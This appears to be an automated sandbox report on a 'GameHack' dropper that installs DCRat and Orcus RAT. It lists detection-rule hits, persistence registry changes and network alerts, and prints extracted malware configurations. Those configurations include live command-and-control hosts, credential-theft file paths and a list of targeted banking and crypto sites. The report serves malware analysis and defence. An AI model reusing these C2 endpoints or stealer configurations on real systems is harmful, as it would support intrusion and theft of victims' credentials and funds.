13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack	RAT_Orcus	unknown	J from THL <j@techhelplist.com> with thx to MalwareHunterTeam	0x2dc4a7:$text01: Orcus.CommandManagement 0x5d4cc7:$text01: Orcus.CommandManagement 0x2c91d6:$text02: Orcus.Commands. 0x2ca141:$text02: Orcus.Commands. 0x2cab44:$text02: Orcus.Commands. 0x2cac77:$text02: Orcus.Commands. 0x2cbcd3:$text02: Orcus.Commands. 0x2cbd03:$text02: Orcus.Commands. 0x2cbd31:$text02: Orcus.Commands. 0x2cedd0:$text02: Orcus.Commands. 0x2cefd2:$text02: Orcus.Commands. 0x2cfe5a:$text02: Orcus.Commands. 0x2d0a12:$text02: Orcus.Commands. 0x2d10bd:$text02: Orcus.Commands. 0x2d1158:$text02: Orcus.Commands. 0x2d1294:$text02: Orcus.Commands. 0x2d1d6b:$text02: Orcus.Commands. 0x2d1e31:$text02: Orcus.Commands. 0x2d1e6d:$text02: Orcus.Commands. 0x2d1ead:$text02: Orcus.Commands. 0x2d20cc:$text02: Orcus.Commands.
13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2ec750:$f1: FileZilla\recentservers.xml 0x5e4f70:$f1: FileZilla\recentservers.xml 0x2ec284:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x5e4aa4:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ecae0:$b1: Chrome\User Data\ 0x2ecb4c:$b1: Chrome\User Data\ 0x5e5300:$b1: Chrome\User Data\ 0x5e536c:$b1: Chrome\User Data\ 0x2ecbfc:$b2: Mozilla\Firefox\Profiles 0x5e541c:$b2: Mozilla\Firefox\Profiles 0x2ec69c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2f57c7:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x5e4ebc:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x5edfe7:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ec44a:$b4: Opera Software\Opera Stable\Login Data 0x5e4c6a:$b4: Opera Software\Opera Stable\Login Data 0x2ec178:$b5: YandexBrowser\User Data\ 0x2ec1e4:$b5: YandexBrowser\User Data\ 0x5e4998:$b5: YandexBrowser\User Data\ 0x5e4a04:$b5: YandexBrowser\User Data\ 0x2ecb94:$s1: key3.db
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe, ProcessId: 7620, TargetFilename: C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\RuntimeBroker.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Users\Default\PrintHood\SSblKNNQege.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe, ProcessId: 4920, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSblKNNQege

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe", ParentImage: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe, ParentProcessId: 7292, ParentProcessName: GameHackBuild1.exe.bin.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe" , ProcessId: 7572, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Windows\Cursors\OfficeClickToRun.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe, ProcessId: 4920, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Program Files (x86)\msbuild\SSblKNNQege.exe", "C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\RuntimeBroker.exe", "C:\Windows\L2Schemas\SSblKNNQege.exe", "C:\Recovery\SSblKNNQege.exe", "C:\Program Files (x86)\reference assemblies\Microsoft\Framework\SSblKNNQege.exe", "C:\Program Files\Windows Portable Devices\SSblKNNQege.exe", "C:\Users\All Users\WindowsHolographicDevices\SSblKNNQege.exe", "C:\Program Files (x86)\microsoft office\SSblKNNQege.exe", "C:\Users\Default\Pictures\RuntimeBroker.exe", "C:\Windows\Cursors\OfficeClickToRun.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe, ProcessId: 4920, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor/runtimesvc.exe", ParentImage: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe, ParentProcessId: 4920, ParentProcessName: runtimesvc.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline", ProcessId: 8368, ProcessName: csc.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5B8E.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP", CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5B8E.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP", CommandLine|base64offset|contains: 8c, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline", ParentImage: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentProcessId: 8368, ParentProcessName: csc.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5B8E.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP", ProcessId: 8460, ProcessName: cvtres.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe", ParentImage: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe, ParentProcessId: 7292, ParentProcessName: GameHackBuild1.exe.bin.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe" , ProcessId: 7572, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe, ProcessId: 4920, TargetFilename: C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor/runtimesvc.exe", ParentImage: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe, ParentProcessId: 4920, ParentProcessName: runtimesvc.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline", ProcessId: 8368, ProcessName: csc.exe

Suricata Signatures

ET MALWARE DCRAT Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:35:58.469462+0100	2034194	1	A Network Trojan was detected	192.168.2.7	49853	37.44.238.250	80	TCP
2025-01-13T13:36:13.751539+0100	2034194	1	A Network Trojan was detected	192.168.2.7	49907	37.44.238.250	80	TCP
2025-01-13T13:36:34.528892+0100	2034194	1	A Network Trojan was detected	192.168.2.7	50015	37.44.238.250	80	TCP
2025-01-13T13:37:23.993180+0100	2034194	1	A Network Trojan was detected	192.168.2.7	50039	37.44.238.250	80	TCP

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:36:23.086316+0100	2048095	1	A Network Trojan was detected	192.168.2.7	49956	37.44.238.250	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\Default\Pictures\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Avira: detection malicious, Label: HEUR/AGEN.1309946
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\AppData\Local\Temp\B2ESObyLKs.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Avira: detection malicious, Label: HEUR/AGEN.1309946
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\mJEJ7PbY35CMaAu5227dvHv.vbe	Avira: detection malicious, Label: VBS/Runner.VPG

Found malware configuration

Source: 00000017.00000002.1959832866.000000001322D000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: DCRat {"C2 url": "http://117813cm.n9shteam.in/ExternalRequest", "MUTEX": "DCR_MUTEX-KJuu1JY0vqv02KLL4nsh", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}
Source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack	Malware Configuration Extractor: OrcusRAT {"AutostartBuilderProperty": {"AutostartMethod": "Disable", "TaskSchedulerTaskName": "sudik", "TaskHighestPrivileges": "true", "AutoSteal": "true", "Inject": "true", "RegistryHiddenStart": "true", "RegistryKeyName": "Sudik", "TryAllAutostartMethodsOnFail": "true"}, "ChangeAssemblyInformationBuilderProperty": {"ChangeAssemblyInformation": "false", "AssemblyTitle": null, "AssemblyDescription": null, "AssemblyCompanyName": null, "AssemblyProductName": null, "AssemblyCopyright": null, "AssemblyTrademarks": null, "AssemblyProductVersion": "1.0.0.0", "AssemblyFileVersion": "1.0.0.0"}, "ChangeCreationDateBuilderProperty": {"IsEnabled": "false", "NewCreationDate": "2016-11-05T21:17:40"}, "ChangeIconBuilderProperty": {"ChangeIcon": "false", "IconPath": null}, "ClientTagBuilderProperty": {"ClientTag": "GameHack"}, "ConnectionBuilderProperty": {"IpAddresses": [{"Ip": "25350.client.sudorat.top", "Port": "25350"}, {"Ip": "25350.client.sudorat.ru", "Port": "25350"}, {"Ip": "31.44.184.52", "Port": "25350"}]}, "DataFolderBuilderProperty": {"Path": "%appdata%\\Windows\\Defender\\"}, "DefaultPrivilegesBuilderProperty": {"RequireAdministratorRights": "true"}, "DisableInstallationPromptBuilderProperty": {"IsDisabled": "true"}, "FrameworkVersionBuilderProperty": {"FrameworkVersion": "NET35"}, "HideFileBuilderProperty": {"HideFile": "true"}, "InstallationLocationBuilderProperty": {"Path": "%appdata%\\Windows\\Defender\\MpDefenderCoreProtion.exe"}, "InstallBuilderProperty": {"Install": "true"}, "KeyloggerBuilderProperty": {"IsEnabled": "false"}, "MutexBuilderProperty": {"Mutex": "sudo_06kkh814g4vz7sfklrh1emcow75dz383"}, "ProxyBuilderProperty": {"ProxyOption": "None", "ProxyAddress": null, "ProxyPort": "1080", "ProxyType": "2"}, "ReconnectDelayProperty": {"Delay": "10000"}, "RequireAdministratorPrivilegesInstallerBuilderProperty": {"RequireAdministratorPrivileges": "true"}, "RespawnTaskBuilderProperty": {"IsEnabled": "true", "TaskName": "MpDefenderProtector"}, "ServiceBuilderProperty": {"Install": "false"}, "SetRunProgramAsAdminFlagBuilderProperty": {"SetFlag": "true"}, "WatchdogBuilderProperty": {"IsEnabled": "false", "Name": "aga.exe", "WatchdogLocation": "AppData", "PreventFileDeletion": "false"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	ReversingLabs: Detection: 78%
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	ReversingLabs: Detection: 67%
Source: C:\Program Files (x86)\Microsoft Office\SSblKNNQege.exe	ReversingLabs: Detection: 78%
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\SSblKNNQege.exe	ReversingLabs: Detection: 78%
Source: C:\Program Files\Microsoft\SSblKNNQege.exe	ReversingLabs: Detection: 67%
Source: C:\Program Files\Windows Portable Devices\SSblKNNQege.exe	ReversingLabs: Detection: 78%
Source: C:\ProgramData\WindowsHolographicDevices\SSblKNNQege.exe	ReversingLabs: Detection: 78%
Source: C:\Recovery\SSblKNNQege.exe	ReversingLabs: Detection: 78%
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\SSblKNNQege.exe	ReversingLabs: Detection: 67%
Source: C:\Users\Default\Pictures\RuntimeBroker.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	ReversingLabs: Detection: 67%
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\Desktop\BpJZMyRc.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\ErvIhhWY.log	ReversingLabs: Detection: 33%
Source: C:\Users\user\Desktop\PxMOoBdB.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\WmQvmhxk.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\mOMkzqHG.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\syFrxmlp.log	ReversingLabs: Detection: 37%
Source: C:\Windows\Cursors\OfficeClickToRun.exe	ReversingLabs: Detection: 67%
Source: C:\Windows\L2Schemas\SSblKNNQege.exe	ReversingLabs: Detection: 78%
Source: C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\RuntimeBroker.exe	ReversingLabs: Detection: 78%
Source: C:\Windows\security\database\SSblKNNQege.exe	ReversingLabs: Detection: 67%

Multi AV Scanner detection for submitted file

Source: GameHackBuild1.exe.bin.exe	Virustotal: Detection: 61%			Perma Link
Source: GameHackBuild1.exe.bin.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	Joe Sandbox ML: detected
Source: C:\Users\Default\Pictures\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\SSblKNNQege.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: GameHackBuild1.exe.bin.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000017.00000002.1998107194.000000001BA70000.00000004.08000000.00040000.00000000.sdmp	String decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Custom","_1":"True","_2":"True","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds"},"20c484a2-7b5b-481d-bf01-55d423c9c2fd":{"_0":"chrome\|p\|o\nfirefox\|p\|o\nsafari\|p\|o\nmsedge\|p\|o\nopera\|p\|o\nyandex\|p\|o\nbrave\|p\|o\nbrowser\|p\|o\n\nkaspersky\|p\|r\nnorton\|p\|r\navast\|p\|r\nmcafee\|p\|r\nbitdefender\|p\|r\neset\|p\|r\navg\|p\|r\nsophos\|p\|r\ntrendmicro\|p\|r\nwindowsdefender\|p\|r\n\nkaspersky\|w\|r\nnorton\|w\|r\navast\|w\|r\nmcafee\|w\|r\nbitdefender\|w\|r\neset\|w\|r\navg\|w\|r\nsophos\|w\|r\ntrendmicro\|w\|r\nwindowsdefender\|w\|r"},"90f3c523-0b6b-4956-a617-29c89ed8da84":{"_0":"amegybank.com;associatedbank.com;ally.com;bankofthewest.com;bank7.com;barringtonbank.com;bbt.com;becu.org;beverlybank.com;bmoharris.com;bridgeviewbank.com;cffc.com;chase.com;citizensbank.com;classicbank.com;comerica.com;corebank.com;crystallakebank.com;dime.com;dollarbank.com;easternbank.com;53.com;finemarkbank.com;firstcommercebank.net;gorhamsavings.bank;happybank.com;hinsdalebank.com;lakeforestbank.com;libertyvillebank.com;mtb.com;emarquettebank.com;merchantsbankal.com;midwestone.com;morganstanley.com;macu.com;nbarizona.com;nsbank.com;northbrookbank.com;norrybank.com;oldplanktrailbank.com;pnc.com;onlinebanking.regions.com;renasantbank.com;rhinebeckbank.com;bankschaumburg.com;bankstcharles.com;sbotl.com;suntrust.com;tbkbank.com;tdbank.com;tiaabank.com;townbank.us;umpquabank.com;vectrabank.com;villagebankonline.bank;wheatonbank.com;wintrustbank.com;zionsbank.com;yobit.net;freebitco.in;zb.com;binance.com;huobi.com;okex.com;hitbtc.com;bitfinex.com;kraken.com;bitstamp.net;payoneer.com;bittrex.com;gate.io;exmo.com;yobit.io;bitflyer.com;poloniex.com;kucoin.com;coinone.co.kr;livecoin.net;mercatox.com;localbitcoins.com;korbit.co.kr;cex.io;luno.com;rocktrading.com;etherdelta.com;bleutrade.com;anxpro.com;c-cex.com;gatecoin.com;bitkonan.com;jubi.com;koinex.in;koineks.com;kuna.io;koinim.com;kiwi-coin.com;leoxchange.com;lykke.com;magnr.com;localtrade.cc;lbank.info;itbit.com;litebit.eu;liqui.io;ecoin.cc;indx.ru;fybse.se;freiexchange.com;fybsg.com;wildbitcoin.com;betchain.com;ethexindia.com;litecoinlocal.net;gemini.com;gdax.com;gatehub.net;satoshitango.com;foxbit.com.br;flowbtc.com.br;exx.com;exrates.me;excambriorex.com;ezbtc.ca;fargobase.com;fcce.jp;getbtc.org;glidera.io;indacoin.com;igot.com;idex.market;independentreserve.com;mercadobitcoin.com.br;infinitycoin.exchange;ice3x.co.za;guldentrader.com;heatwallet.com;hypex.nl;isx.ca;negociecoins.com.br;tradesatoshi.com;topbtc.com;tidex.com;mydicewallet.com;tuxexchange.com;usd-x.com;urdubit.com;tidebit.com;tdax.com;stex.com;stellarterm.com;spacebtc.com;surbitcoin.com;buda.com;xbtce.com;yunbi.com;zyado.com;trade.z.com;zaif.jp;wavesplatform.com;vircurex.com;vbtc.exchange;vaultoro.com;coinmarketcap.com;vwlpro.com;walltime.info;southxchange.com;shapeshift.io;nocks.com;nlexch.com;novaexchange.com;mynxt.info;nzbcx.com;nevbit.com;mixcoins.com;mr.exchange;neraex.pro;dsx.uk;okcoin.com;liquid.com;quoine.com;quadrigacx.
Source: 00000017.00000002.1998107194.000000001BA70000.00000004.08000000.00040000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-KJuu1JY0vqv02KLL4nsh","0","Roblox NEW","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
Source: 00000017.00000002.1998107194.000000001BA70000.00000004.08000000.00040000.00000000.sdmp	String decryptor: [["http://117813cm.n9shteam.in/","ExternalRequest"]]

Source: GameHackBuild1.exe.bin.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Directory created: C:\Program Files\Microsoft\SSblKNNQege.exe
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Directory created: C:\Program Files\Microsoft\f2aefc5695405c
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Directory created: C:\Program Files\Windows Portable Devices\SSblKNNQege.exe
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Directory created: C:\Program Files\Windows Portable Devices\f2aefc5695405c

Source: GameHackBuild1.exe.bin.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: GameHackBuild1.exe.bin.exe
